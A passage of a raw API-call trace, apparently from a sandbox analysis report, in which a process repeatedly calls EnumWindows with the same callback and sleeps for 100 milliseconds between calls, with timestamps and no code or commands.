lParam=0x2290000) [0129.830] Sleep (dwMilliseconds=0x64) [0129.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.924] Sleep (dwMilliseconds=0x64) [0129.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.971] Sleep (dwMilliseconds=0x64) [0130.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.050] Sleep (dwMilliseconds=0x64) [0130.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.051] Sleep (dwMilliseconds=0x64) [0130.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.053] Sleep (dwMilliseconds=0x64) [0130.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.055] Sleep (dwMilliseconds=0x64) [0130.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.056] Sleep (dwMilliseconds=0x64) [0130.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.058] Sleep (dwMilliseconds=0x64) [0130.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.060] Sleep (dwMilliseconds=0x64) [0130.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.065] Sleep (dwMilliseconds=0x64) [0130.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.067] Sleep (dwMilliseconds=0x64) [0130.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.069] Sleep (dwMilliseconds=0x64) [0130.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.070] Sleep (dwMilliseconds=0x64) [0130.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.072] Sleep (dwMilliseconds=0x64) [0130.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.073] Sleep (dwMilliseconds=0x64) [0130.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.075] Sleep (dwMilliseconds=0x64) [0130.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.076] Sleep (dwMilliseconds=0x64) [0130.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.078] Sleep (dwMilliseconds=0x64) [0130.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.079] Sleep (dwMilliseconds=0x64) [0130.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.081] Sleep (dwMilliseconds=0x64) [0130.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.082] Sleep (dwMilliseconds=0x64) [0130.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.084] Sleep (dwMilliseconds=0x64) [0130.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.085] Sleep (dwMilliseconds=0x64) [0130.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.087] Sleep (dwMilliseconds=0x64) [0130.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.089] Sleep (dwMilliseconds=0x64) [0130.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.090] Sleep (dwMilliseconds=0x64) [0130.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.092] Sleep (dwMilliseconds=0x64) [0130.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.093] Sleep (dwMilliseconds=0x64) [0130.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.098] Sleep (dwMilliseconds=0x64) [0130.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.174] Sleep (dwMilliseconds=0x64) [0130.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.177] Sleep (dwMilliseconds=0x64) [0130.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.183] Sleep (dwMilliseconds=0x64) [0130.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.185] Sleep (dwMilliseconds=0x64) [0130.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.187] Sleep (dwMilliseconds=0x64) [0130.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.188] Sleep (dwMilliseconds=0x64) [0130.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.190] Sleep (dwMilliseconds=0x64) [0130.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.191] Sleep (dwMilliseconds=0x64) [0130.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.193] Sleep (dwMilliseconds=0x64) [0130.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.194] Sleep (dwMilliseconds=0x64) [0130.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.196] Sleep (dwMilliseconds=0x64) [0130.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.197] Sleep (dwMilliseconds=0x64) [0130.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.199] Sleep (dwMilliseconds=0x64) [0130.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.200] Sleep (dwMilliseconds=0x64) [0130.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.202] Sleep (dwMilliseconds=0x64) [0130.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.204] Sleep (dwMilliseconds=0x64) [0130.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.206] Sleep (dwMilliseconds=0x64) [0130.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.207] Sleep (dwMilliseconds=0x64) [0130.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.209] Sleep (dwMilliseconds=0x64) [0130.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.210] Sleep (dwMilliseconds=0x64) [0130.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.212] Sleep (dwMilliseconds=0x64) [0130.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.213] Sleep (dwMilliseconds=0x64) [0130.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.215] Sleep (dwMilliseconds=0x64) [0130.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.216] Sleep (dwMilliseconds=0x64) [0130.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.218] Sleep (dwMilliseconds=0x64) [0130.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.219] Sleep (dwMilliseconds=0x64) [0130.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.228] Sleep (dwMilliseconds=0x64) [0130.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.229] Sleep (dwMilliseconds=0x64) [0130.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.231] Sleep (dwMilliseconds=0x64) [0130.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.232] Sleep (dwMilliseconds=0x64) [0130.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.234] Sleep (dwMilliseconds=0x64) [0130.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.235] Sleep (dwMilliseconds=0x64) [0130.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.237] Sleep (dwMilliseconds=0x64) [0130.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.238] Sleep (dwMilliseconds=0x64) [0130.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.240] Sleep (dwMilliseconds=0x64) [0130.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.246] Sleep (dwMilliseconds=0x64) [0130.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.248] Sleep (dwMilliseconds=0x64) [0130.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.250] Sleep (dwMilliseconds=0x64) [0130.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.255] Sleep (dwMilliseconds=0x64) [0130.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.258] Sleep (dwMilliseconds=0x64) [0130.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.260] Sleep (dwMilliseconds=0x64) [0130.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.261] Sleep (dwMilliseconds=0x64) [0130.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.287] Sleep (dwMilliseconds=0x64) [0130.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.291] Sleep (dwMilliseconds=0x64) [0130.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.293] Sleep (dwMilliseconds=0x64) [0130.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.294] Sleep (dwMilliseconds=0x64) [0130.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.296] Sleep (dwMilliseconds=0x64) [0130.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.298] Sleep (dwMilliseconds=0x64) [0130.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.300] Sleep (dwMilliseconds=0x64) [0130.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.301] Sleep (dwMilliseconds=0x64) [0130.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.303] Sleep (dwMilliseconds=0x64) [0130.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.305] Sleep (dwMilliseconds=0x64) [0130.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.307] Sleep (dwMilliseconds=0x64) [0130.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.308] Sleep (dwMilliseconds=0x64) [0130.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.310] Sleep (dwMilliseconds=0x64) [0130.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.311] Sleep (dwMilliseconds=0x64) [0130.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.391] Sleep (dwMilliseconds=0x64) [0130.394] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.394] Sleep (dwMilliseconds=0x64) [0130.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.396] Sleep (dwMilliseconds=0x64) [0130.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.398] Sleep (dwMilliseconds=0x64) [0130.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.400] Sleep (dwMilliseconds=0x64) [0130.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.405] Sleep (dwMilliseconds=0x64) [0130.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.408] Sleep (dwMilliseconds=0x64) [0130.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.410] Sleep (dwMilliseconds=0x64) [0130.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.411] Sleep (dwMilliseconds=0x64) [0130.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.413] Sleep (dwMilliseconds=0x64) [0130.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.414] Sleep (dwMilliseconds=0x64) [0130.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.416] Sleep (dwMilliseconds=0x64) [0130.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.417] Sleep (dwMilliseconds=0x64) [0130.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.419] Sleep (dwMilliseconds=0x64) [0130.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.421] Sleep (dwMilliseconds=0x64) [0130.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.424] Sleep (dwMilliseconds=0x64) [0130.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.425] Sleep (dwMilliseconds=0x64) [0130.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.427] Sleep (dwMilliseconds=0x64) [0130.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.428] Sleep (dwMilliseconds=0x64) [0130.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.430] Sleep (dwMilliseconds=0x64) [0130.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.431] Sleep (dwMilliseconds=0x64) [0130.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.433] Sleep (dwMilliseconds=0x64) [0130.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.434] Sleep (dwMilliseconds=0x64) [0130.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.436] Sleep (dwMilliseconds=0x64) [0130.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.437] Sleep (dwMilliseconds=0x64) [0130.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.440] Sleep (dwMilliseconds=0x64) [0130.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.441] Sleep (dwMilliseconds=0x64) [0130.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.443] Sleep (dwMilliseconds=0x64) [0130.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.444] Sleep (dwMilliseconds=0x64) [0130.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.452] Sleep (dwMilliseconds=0x64) [0130.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.453] Sleep (dwMilliseconds=0x64) [0130.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.455] Sleep (dwMilliseconds=0x64) [0130.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.471] Sleep (dwMilliseconds=0x64) [0130.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.473] Sleep (dwMilliseconds=0x64) [0130.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.474] Sleep (dwMilliseconds=0x64) [0130.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.476] Sleep (dwMilliseconds=0x64) [0130.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.477] Sleep (dwMilliseconds=0x64) [0130.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.479] Sleep (dwMilliseconds=0x64) [0130.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.480] Sleep (dwMilliseconds=0x64) [0130.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.482] Sleep (dwMilliseconds=0x64) [0130.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.483] Sleep (dwMilliseconds=0x64) [0130.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.485] Sleep (dwMilliseconds=0x64) [0130.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.486] Sleep (dwMilliseconds=0x64) [0130.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.488] Sleep (dwMilliseconds=0x64) [0130.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.489] Sleep (dwMilliseconds=0x64) [0130.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.491] Sleep (dwMilliseconds=0x64) [0130.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.492] Sleep (dwMilliseconds=0x64) [0130.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.494] Sleep (dwMilliseconds=0x64) [0130.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.495] Sleep (dwMilliseconds=0x64) [0130.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.497] Sleep (dwMilliseconds=0x64) [0130.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.498] Sleep (dwMilliseconds=0x64) [0130.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.500] Sleep (dwMilliseconds=0x64) [0130.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.501] Sleep (dwMilliseconds=0x64) [0130.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.503] Sleep (dwMilliseconds=0x64) [0130.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.504] Sleep (dwMilliseconds=0x64) [0130.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.506] Sleep (dwMilliseconds=0x64) [0130.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.508] Sleep (dwMilliseconds=0x64) [0130.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.509] Sleep (dwMilliseconds=0x64) [0130.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.511] Sleep (dwMilliseconds=0x64) [0130.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.512] Sleep (dwMilliseconds=0x64) [0130.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.514] Sleep (dwMilliseconds=0x64) [0130.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.515] Sleep (dwMilliseconds=0x64) [0130.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.517] Sleep (dwMilliseconds=0x64) [0130.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.518] Sleep (dwMilliseconds=0x64) [0130.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.520] Sleep (dwMilliseconds=0x64) [0130.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.521] Sleep (dwMilliseconds=0x64) [0130.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.523] Sleep (dwMilliseconds=0x64) [0130.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.524] Sleep (dwMilliseconds=0x64) [0130.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.526] Sleep (dwMilliseconds=0x64) [0130.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.527] Sleep (dwMilliseconds=0x64) [0130.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.529] Sleep (dwMilliseconds=0x64) [0130.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.530] Sleep (dwMilliseconds=0x64) [0130.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.532] Sleep (dwMilliseconds=0x64) [0130.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.534] Sleep (dwMilliseconds=0x64) [0130.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.536] Sleep (dwMilliseconds=0x64) [0130.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.537] Sleep (dwMilliseconds=0x64) [0130.540] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.541] Sleep (dwMilliseconds=0x64) [0130.542] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.542] Sleep (dwMilliseconds=0x64) [0130.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.544] Sleep (dwMilliseconds=0x64) [0130.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.545] Sleep (dwMilliseconds=0x64) [0130.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.547] Sleep (dwMilliseconds=0x64) [0130.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.549] Sleep (dwMilliseconds=0x64) [0130.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.550] Sleep (dwMilliseconds=0x64) [0130.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.552] Sleep (dwMilliseconds=0x64) [0130.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.554] Sleep (dwMilliseconds=0x64) [0130.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.555] Sleep (dwMilliseconds=0x64) [0130.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.558] Sleep (dwMilliseconds=0x64) [0130.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.559] Sleep (dwMilliseconds=0x64) [0130.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.561] Sleep (dwMilliseconds=0x64) [0130.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.563] Sleep (dwMilliseconds=0x64) [0130.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.564] Sleep (dwMilliseconds=0x64) [0130.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.566] Sleep (dwMilliseconds=0x64) [0130.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.568] Sleep (dwMilliseconds=0x64) [0130.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.570] Sleep (dwMilliseconds=0x64) [0130.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.571] Sleep (dwMilliseconds=0x64) [0130.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.573] Sleep (dwMilliseconds=0x64) [0130.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.575] Sleep (dwMilliseconds=0x64) [0130.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.576] Sleep (dwMilliseconds=0x64) [0130.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.578] Sleep (dwMilliseconds=0x64) [0130.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.580] Sleep (dwMilliseconds=0x64) [0130.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.581] Sleep (dwMilliseconds=0x64) [0130.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.583] Sleep (dwMilliseconds=0x64) [0130.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.584] Sleep (dwMilliseconds=0x64) [0130.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.586] Sleep (dwMilliseconds=0x64) [0130.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.587] Sleep (dwMilliseconds=0x64) [0130.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.589] Sleep (dwMilliseconds=0x64) [0130.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.591] Sleep (dwMilliseconds=0x64) [0130.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.593] Sleep (dwMilliseconds=0x64) [0130.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.594] Sleep (dwMilliseconds=0x64) [0130.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.596] Sleep (dwMilliseconds=0x64) [0130.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.597] Sleep (dwMilliseconds=0x64) [0130.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.599] Sleep (dwMilliseconds=0x64) [0130.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.602] Sleep (dwMilliseconds=0x64) [0130.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.638] Sleep (dwMilliseconds=0x64) [0130.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.640] Sleep (dwMilliseconds=0x64) [0130.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.642] Sleep (dwMilliseconds=0x64) [0130.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.644] Sleep (dwMilliseconds=0x64) [0130.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.646] Sleep (dwMilliseconds=0x64) [0130.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.648] Sleep (dwMilliseconds=0x64) [0130.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.650] Sleep (dwMilliseconds=0x64) [0130.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.651] Sleep (dwMilliseconds=0x64) [0130.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.653] Sleep (dwMilliseconds=0x64) [0130.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.655] Sleep (dwMilliseconds=0x64) [0130.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.657] Sleep (dwMilliseconds=0x64) [0130.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.658] Sleep (dwMilliseconds=0x64) [0130.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.660] Sleep (dwMilliseconds=0x64) [0130.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.662] Sleep (dwMilliseconds=0x64) [0130.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.664] Sleep (dwMilliseconds=0x64) [0130.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.667] Sleep (dwMilliseconds=0x64) [0130.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.669] Sleep (dwMilliseconds=0x64) [0130.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.671] Sleep (dwMilliseconds=0x64) [0130.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.673] Sleep (dwMilliseconds=0x64) [0130.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.675] Sleep (dwMilliseconds=0x64) [0130.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.677] Sleep (dwMilliseconds=0x64) [0130.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.679] Sleep (dwMilliseconds=0x64) [0130.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.681] Sleep (dwMilliseconds=0x64) [0130.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.682] Sleep (dwMilliseconds=0x64) [0130.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.684] Sleep (dwMilliseconds=0x64) [0130.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.686] Sleep (dwMilliseconds=0x64) [0130.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.688] Sleep (dwMilliseconds=0x64) [0130.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.690] Sleep (dwMilliseconds=0x64) [0130.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.692] Sleep (dwMilliseconds=0x64) [0130.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.693] Sleep (dwMilliseconds=0x64) [0130.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.695] Sleep (dwMilliseconds=0x64) [0130.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.697] Sleep (dwMilliseconds=0x64) [0130.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.699] Sleep (dwMilliseconds=0x64) [0130.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.701] Sleep (dwMilliseconds=0x64) [0130.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.702] Sleep (dwMilliseconds=0x64) [0130.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.706] Sleep (dwMilliseconds=0x64) [0130.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.708] Sleep (dwMilliseconds=0x64) [0130.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.710] Sleep (dwMilliseconds=0x64) [0130.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.712] Sleep (dwMilliseconds=0x64) [0130.713] EnumWindows (lpEnumFunc=0x403dd0, 